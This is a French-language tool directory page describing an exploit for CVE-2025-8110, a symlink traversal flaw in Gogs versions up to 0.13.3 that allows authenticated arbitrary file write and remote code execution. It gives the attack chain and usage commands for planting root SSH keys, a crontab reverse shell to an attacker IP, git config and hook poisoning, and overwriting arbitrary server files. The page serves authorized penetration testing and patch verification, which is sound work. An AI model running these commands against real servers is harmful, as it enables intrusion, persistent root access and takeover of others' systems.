Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-8110 — Gogs Symlink Traversal → RCE | Kitploit
Outils/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs Symlink Traversal → RCE

il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2025-8110 — Traversée de lien symbolique dans Gogs → RCE

Vue d'ensemble

CVE-2025-8110 est une vulnérabilité critique dans Gogs (service Git auto-hébergé) versions <= 0.13.3. L'API PutContents valide les chemins de fichiers contre la traversée de répertoire (../) mais ne résout pas les liens symboliques avant d'écrire. Un utilisateur authentifié peut pousser un commit contenant un lien symbolique pointant vers n'importe quel fichier du serveur, puis appeler PutContents sur ce lien symbolique pour écraser le fichier réel avec un contenu contrôlé par l'attaquant.

Il s'agit d'un contournement du correctif de CVE-2024-55947, qui ne traitait que la traversée directe de répertoire mais pas la traversée via lien symbolique.

DétailValeur
CVECVE-2025-8110
AffectéGogs <= 0.13.3
CorrigéGogs 0.13.4
TypeÉcriture arbitraire de fichier authentifiée → RCE
CVSS8.8 (Élevé)
ComposantAPI PutContents (/api/v1/repos/:owner/:repo/contents/:path)

Prérequis

  • Python 3.8+
  • requests (pip install requests)
  • CLI git
  • Un compte Gogs valide sur l'instance cible

Stratégies RCE

Utilisation

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

Détail de la chaîne d'attaque

  1. Authentifier — Créer un jeton API via l'authentification Basic (POST /api/v1/users/:user/tokens) - Connexion via jeton API (Basic Auth)
  2. Créer le dépôt — POST /api/v1/user/repos avec auto_init: true(POST /api/v1/user/repos (auto_init))
  3. Pousser le lien symbolique — Cloner le dépôt via HTTP (identifiants inclus dans l'URL), créer un lien symbolique pointant vers le fichier cible, commiter et pousser (git clone -> os.symlink(target) -> git push)
  4. Écrire via le lien symbolique — PUT /api/v1/repos/:owner/:repo/contents/:link avec un contenu encodé en base64. Gogs résout le lien symbolique sur le disque et écrit dans le fichier réel (PUT /api/v1/repos/.../contents/linkn_ame)
  5. Déclencher la RCE — Le déclencheur RCE dépend de la stratégie (connexion SSH, exécution cron, évaluation sshCommand ou exécution de hook)

Options

root@kitploit:~
target                  Gogs base URL (e.g. http://target:3000)

Authentication:
  -u, --user            Gogs username
  -p, --password        Gogs password

RCE Strategies:
  --rce-keys PUBKEY     Plant SSH pubkey → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Poison .git/config sshCommand + trigger
  --rce-hook            Overwrite pre-receive hook + trigger
  --write               Generic arbitrary file write

Connection / Payload:
  --lhost LHOST         Attacker IP for reverse shell
  --lport LPORT         Attacker port for reverse shell
  --target-file PATH    Server path to overwrite (--write mode)
  --content STRING      Content to write
  --content-file FILE   Local file to write

Options:
  --repo NAME           Repository name (default: random)
  --cleanup             Delete exploit repo after completion
  -o, --output FILE     Report file (default: loot.json)
  --timeout SECONDS     Request timeout (default: 15)
  --proxy URL           HTTP proxy for debugging
  --check-only          Only check if target is Gogs, don't exploit

Références

  • Wiz Research Blog
  • NVD — CVE-2025-8110
  • Gogs Patch PR #8078
  • GHSA-mq8m-42gh-wq7r

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas de mauvaise utilisation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.

Télécharger l’outil
StratégieDrapeauFichier cibleDéclencheur
A — Clés SSH--rce-keys/root/.ssh/authorized_keysConnexion SSH
B — Crontab--rce-cron/etc/crontabAutomatique (dans les 60s)
C — sshCommand--rce-ssh.git/configOpération git SSH
D — Hook Git--rce-hookhooks/pre-receivegit push
Générique--writeTout cheminManuel